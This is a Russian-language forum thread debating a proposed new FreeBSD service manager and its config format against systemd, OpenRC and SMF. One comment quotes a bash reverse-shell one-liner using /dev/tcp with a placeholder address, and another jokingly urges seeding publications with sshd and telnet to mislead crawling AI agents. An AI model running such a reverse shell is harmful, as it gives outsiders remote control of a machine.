| |
| 2.3, Аноним (3), 10:27, 10/09/2026 [^] [^^] [^^^] [ответить]
| +5 +/– |
NIH синдром неизлечим, но скорее всего хотят по своему все делать, чтобы потом не проталкивать в systemd спорные решения, которые скорее всего отклоняет, ещё и, как принято в Линукс среде, крепким словом 😁
| | |
| 2.7, Аноним (7), 10:38, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– | |
А это не systemd. Оно не живёт в PID1 и всё, что может сломаться, не несёт туда.
Это буквально то, что вынесет systemd на линуксах, как pipewire вынес пшшшаудио.
| | |
| 2.10, Аноним (10), 10:42, 10/09/2026 [^] [^^] [^^^] [ответить]
| +10 +/– |
systemd пробит гвоздями к линуксу с его cgroups2 и прочими, а протащить эти фичи в ядро БСД просто так не получится.
| | |
| 2.21, опеншлёпивпродакшн (?), 11:24, 10/09/2026 [^] [^^] [^^^] [ответить]
| –4 +/– |
Если дать 100 людям задание приготовить суп и дать одинаковые ингредиенты, то они все приготовят одинаковый суп?
| | |
| 2.34, pfg21 (ok), 12:28, 10/09/2026 [^] [^^] [^^^] [ответить]
| –1 +/– |
чтобы вместо богопротивного виндовского фотмата ini был рассововерный json конечно же !!
| | |
| |
| |
| 4.75, Аноним (75), 16:29, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– | |
> за конфиги на json есть отдельный котел в аду
А за свой нескучный NIH формат там тоже отдельный котел? Один на всех, или на каждый формат отдельный, лол?
| | |
| 4.92, Аноним (92), 20:25, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
Выбрал бы конфиги на json, xml, yaml, toml, да хоть ini вместо всего зоопарка несовместимых между собой форматов, которыми так "славится" что бсд, что линукс.
| | |
|
|
| 2.49, Аноним (49), 13:46, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
даже если бы они взяли системд , они бы его код все равно переписывали изза лицензии , под mit\bsd
| | |
| 2.52, Аноним (52), 14:14, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
Зачем делать велосипед, если его уже сдалали много миллионов раз (не путать изготовление с изобретением)
| | |
|
| 1.2, Аноним (3), 10:25, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]
| +13 +/– |
Вот и во freebsd будет свой systemd.
Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли?
| | |
| |
| 2.9, мяв (?), 10:40, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
потому что это видать не конфиг, а что-то интерпретируемо-обрабатываемое(обрабатывается как конфиг при старте и интерпретируется при ручных командах в сервис), типо как в openrc. но вопрос - зачем когда в опенрц это уже 100 лет в обед.
| | |
| |
| 3.76, Аноним (75), 16:38, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> Потому что этот формат используют во FreeBSD уже много лет.
Нет, вообще не используется.
Посмотри на /etc/rc.conf, /etc/sysctl.conf, /etc/fstab... Что, много схожести видишь, лол?
| | |
|
| 2.77, Аноним (75), 16:47, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> Только зачем так усложнять синтаксис config файлов, автор Web разработкой по вечерам не увлекается ли?
Автор увлекается NIH, а не веб-разработкой. В веб-разработке люди не страдают подобной туфтой и юзают стандартный JSON.
А на васянских юниксоподелиях - пожалуйста - в 2026 новые форматы конфигов изобретают, лол. И свой нескучный init. Других проблем у современной Бзды нет, очевидно.
| | |
|
| |
| |
| 3.24, xsignal (ok), 11:37, 10/09/2026 [^] [^^] [^^^] [ответить]
| –2 +/– |
Нарушены принципы kiss, ортогональности и децентрализации, теперь в FreeBSD тащат комбайн, "менеджер всего".
| | |
| |
| 4.36, warlock66613 (ok), 12:41, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
KISS это вообще из другой оперы. Остальных нарушений не видно. Это не менеджер, это просто запускалка сервисов и она даже не PID 1.
| | |
| |
| 5.37, xsignal (ok), 12:44, 10/09/2026 [^] [^^] [^^^] [ответить]
| –1 +/– |
> Это не менеджер, это просто запускалка
Как позиционировался systemd когда-то и к чему это пришло...
| | |
| 5.38, xsignal (ok), 12:46, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
> KISS это вообще из другой оперы
"Эрик Рэймонд в своей книге The Unix Philosophy in One Lesson резюмирует философию UNIX как широко используемый принцип KISS" (Вики)
| | |
| |
| 6.55, warlock66613 (ok), 14:34, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
Если так понимать KISS, как его понимает Эрик, то обсуждаемый проект ему максимально соответствует. Нам надо запускать и менеджить сервисы -> самый простой способ решить эту проблему -- написать программу, которая будет запускать и менеджить сервисы.
| | |
| |
| 7.61, xsignal (ok), 15:29, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
> написать программу
По принципу KISS - это самое последнее, что нужно делать.
| | |
|
|
|
|
|
|
| 1.8, мяв (?), 10:38, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]
| +8 +/– |
спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ?
| | |
| |
| 2.43, Аноним (43), 13:12, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– |
Обратная совместимость с прошлой системой, плюс гибкость под свои нужды, очевидно
| | |
| 2.67, Аноним (67), 15:57, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
Не взлетело.
Так-то уже были 2 порта launchd, InitWare и ещё думали о переходе на nosh.
В итоге решили, что это всё перестановка кроватей и даже доказали, что смена системы инициализации на время загрузки системы влияет слабо.
В общем, тут консервативный подход победил.
| | |
| 2.83, OpenEcho (?), 17:41, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– | |
> спрашивается, зачем, когда в openrc ферст-класс поддержка бсд'ей ?
Этот чел имеет довольно большой вес в фряхе и давно уже пытается воплотить популярные концепты линукса, но чтоб было всё "своё", хотя не понятно чем ему не угодил ОпенРЦ с совместимой лицухой и теми же фичами
| | |
|
| 1.12, manchelsi (ok), 10:43, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
> Системный менеджер полностью обратно совместим с существующей системой последовательного запуска сервисов rc.d
Когда-то и systemd так поступал с init.d, а теперь WARNING DEPRECATED
| | |
| |
| 2.32, Аноним (33), 12:18, 10/09/2026 [^] [^^] [^^^] [ответить]
| +3 +/– |
SMF имеет большую функциональносить, и связан с управлением ресурсами (проектами) и RBAC в Solaris'е, просто взять и перенести во FreeBSD не получится.
К тому же его конфигурационный файл пишется на XML, а во FreeBSD XML не любят.
| | |
|
| |
| 2.22, 1 (??), 11:31, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– |
1. Ускорить загрузку
2. Выкинуть monitord
| | |
| |
| 3.25, xsignal (ok), 11:39, 10/09/2026 [^] [^^] [^^^] [ответить]
| +2 +/– |
> 1. Ускорить загрузку
А что, приходится так часто перезагружаться, что это стало узким местом?
| | |
| |
| 4.41, Аноним (41), 12:57, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
сервер может долго запускаться, какую-нибудь террабайтную базу проверять перед тем как сокеты открыть
| | |
| 4.44, Аноним (43), 13:13, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– |
Фряха последние годы ориентируется на десктоп (см. laptop project), поэтому там это будет полезно
| | |
| |
| 5.96, Аноним (92), 20:47, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– | |
> Фряха последние годы ориентируется на десктоп
А раньше они на что ориентировались? На избегание любой возможности успеха где-либо кроме собственных фантазий?
| | |
|
|
|
|
| |
| 2.39, Аноним (90), 12:49, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
Просто наяривание на скорость загрузки. Впрочем, в Линуксе некоторые тоже этим страдают.
| | |
|
| 1.26, Мемоним (?), 11:43, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]
| –1 +/– | |
> написания встроенных обработчиков на языке Lua
Заменить баш-портянки на луа-портянки? Ну так себе идея.
| | |
| |
| 2.59, Ivan_83 (ok), 15:02, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– |
Во фре нет BASH по умолчанию и все скрипты пишутся на shell script, он же юзается как /bin/sh для rc.d.
| | |
| |
| 3.66, Аноним (66), 15:44, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– | |
По сравнению с bash, posix sh это просто трэш.
Но баш можно поставить.
| | |
| |
| 4.74, Ivan_83 (ok), 16:14, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
Как пользовательский шелл - да, не удобное.
Для скриптов вполне норм.
| | |
| 4.84, OpenEcho (?), 17:46, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> По сравнению с bash, posix sh это просто трэш.
Зато у него нет подушки для хакеров в виде башевского
bash -i >& /dev/tcp/х.х.х.х/1234 0>&1
| | |
|
|
|
| |
| |
| |
| |
| 5.69, Аноним (29), 15:59, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– |
В войне с агентами Скайнета все средства хороши. В открытых публикациях всегда прописывайте sshd и еще по лучше telnet и много другого инересного в зависимости, чтобы у Сканета шарящего по сети созрела убежденность что это всегда необходимо делать.
| | |
| 5.95, Аноним (95), 20:45, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
Достаточно было бы одного леща прописать одному конкретному немцу, жаль никто не догадался
| | |
|
|
|
|
| 1.31, Аноним (31), 12:18, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]
| +4 +/– |
Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд. Такое можно только приветствовать, ещё и обратная совместимость есть.
| | |
| |
| 2.81, Аноним (75), 16:53, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– | |
>Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд.
Нет, не сделали, а пока "развивают". А вот будет ли оно в конце "развития" выглядеть, как та самая система "здорового человека" - большой вопрос.
А наличие встроенного Lua-интерпретатора и своего нескучного NIH формата файлов конфигурации вот уже прямо сейчас позволяет оценить то самое "без тонны лишнего кода", лол.
| | |
| |
| 3.99, Аноним (92), 20:54, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
Какие проблемы с lua? Она в ядре фряхи уже есть, теперь и в ините будет. А там глядишь и систему сборки "пакетов" на неё перепишут.
| | |
|
|
| 1.45, Аноним (45), 13:33, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ] | +/– | Ну наконец-то rc система фри ужасна То что она должна делать - запускать и сле... большой текст свёрнут, показать | | |
| |
| 2.50, Ivan_83 (ok), 14:06, 10/09/2026 [^] [^^] [^^^] [ответить]
| –1 +/– |
Следить за сервисами, в том смысле что поднимать упавшие - никогда не было задачей rc.d во фре.
/usr/sbin/daemon - сделан и используется СПЕЦИАЛЬНО для приложений где автор не осилил работу в качестве сервиса.
Если вам нужно динамическая реакция на VPN или ещё что то - это делается через devd: надо добавить свои скрипты на нужные вам события.
> В настройке сервисов разброд и шатание - где-то для каждой настройки есть rc переменная, где-то для всего foobar_args, где-то foobar_flags, где-то foobar_params. Где-то поддерживается смена юзера, задание лимитов, смена fib, где-то нет.
Так и сервисы сильно разные.
Нужно каждый смотреть отдельно.
| | |
| |
| 3.89, Аноним (89), 19:17, 10/09/2026 [^] [^^] [^^^] [ответить] | +/– | Как бы тебе сказать, это всё равно что заявить что никогда не было задачей фри б... большой текст свёрнут, показать | | |
|
|
| 1.48, Аноним (48), 13:43, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Нафиг вы все прицепились к systemd, он не ломает unixway, я хоть и старик мне вообще фиолетово. Куда хлеще симлинки /bin /sbin /lib, и все прожевали, ни один ни пискнул. Такой удар по ремонтопригодности. Если отъезжает /usr, рут вообще остаётся ни с чем, без инструментов.
| | |
| |
| 2.54, Аноним (54), 14:28, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– |
есть мнение, что на абсолютном большинстве систем и /bin и /usr/bin живут(жили) на одном и том же разделе, так что эта ремонтопригодность была только у тех кто этим отдельно озаботился
| | |
| |
| 3.85, нах. (?), 17:50, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
эти люди назывались когда-то - авторы дистрибутивов.
Кстати, до определенного момента они таки озабочивались.
А потом кто умер, кто подался в агитаторы, а кто забил.
А у молодняка в виртуалочке в макоси все свалено в / потому что после запуска теста она вообще больше не нужна.
| | |
|
| 2.58, Ivan_83 (ok), 15:00, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
Сильно зависит от того как и что вы собрались чинить.
По мне сильно проще сохранить etc, var и что ещё было руками накручено и "переставить" систему/перезалить бинарники, чем делать какие то странные упражнения по ручной починке чего то там внутри.
И собственно за 15+ лет использования у меня фря ломалась всего несколько раз, и вроде 1-2 из них было после неудачных обновлений, остальное были проблемы с железом.
Я и /rescue то не держу (там как раз все версии бинарников статически слинкованные, специально для ручного восстановления о котором вы) - не вижу смысла возится в раздолбаной системе.
| | |
|
| 1.57, Аноним (57), 14:42, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– |
делайте скорее супер легковестную замену systemd и заменяйте ей везде systemd
| | |
| 1.73, MaLinovsky (?), 16:12, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]
| –1 +/– |
Runit с кривым конфигом? Чем им SMF не угодил? Притащили ZFS из Solaris, так чего было мелочиться? Взяли бы и SMF заодно, ведь это ее системдэ косплеил десятилетиями. А там уже все круто и готово к работе. Или сами не осилили портирование как было с ZFS и Sun Microsystems им с этим грешным делом помогали потом? Многие орали что ZFS тоже не упрощенка и да производительность не в потолок, но m.2 накопителям на PCIE 5 это безразлично. И вообще как выпустят DDR6 и введут норму в 32 гига уже и пол гига отжираемые файловой системой станут мелочью. Это по факту выглядит как клон быстрого инита и не более того. Собственно скорее всего это и есть наиболее быстрый вариант запуска, но зачем делать корявый язык программирования как норму настройки неизвестно. А то развели фиг пойми что в теме. Или это ради избавления от как говорят обыватели баш портянок? Они же не в курсе что шелл скрипты это sh, а не bash, хотя есть еще dash, zsh и так далее. Дичь когда в комментариях пусто практически. Один человек вспомнил SMF, но не понял на что смотрит.
| | |
| |
| 2.80, Аноним (19), 16:53, 10/09/2026 [^] [^^] [^^^] [ответить]
| +1 +/– |
>ZFS
>PCIE
>DDR
Ты, я смотрю, в сознание вообще не приходишь. Че сказать-то хотел?
| | |
|
| |
| 2.87, Аноним (87), 18:28, 10/09/2026 [^] [^^] [^^^] [ответить]
| +/– |
Тоже не сильно понятно зачем оно нужно, если bsd init и так самый адекватный на сегодня.
| | |
|
| 1.86, нах. (?), 17:57, 10/09/2026 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
В общем выглядит пока как systemd здорового человека.
Единственное что смущает - автор, поскольку pkg...
надо ведь было постараться сделать новую версию _всего_лишь_ cli к базенке key-value - на ровном месте несовместимой с недостаточно модным ядром фри. А он вот когда-то уже давно - СМОГ!
С другой стороны, никого ж уже и не жалко...
| | |
|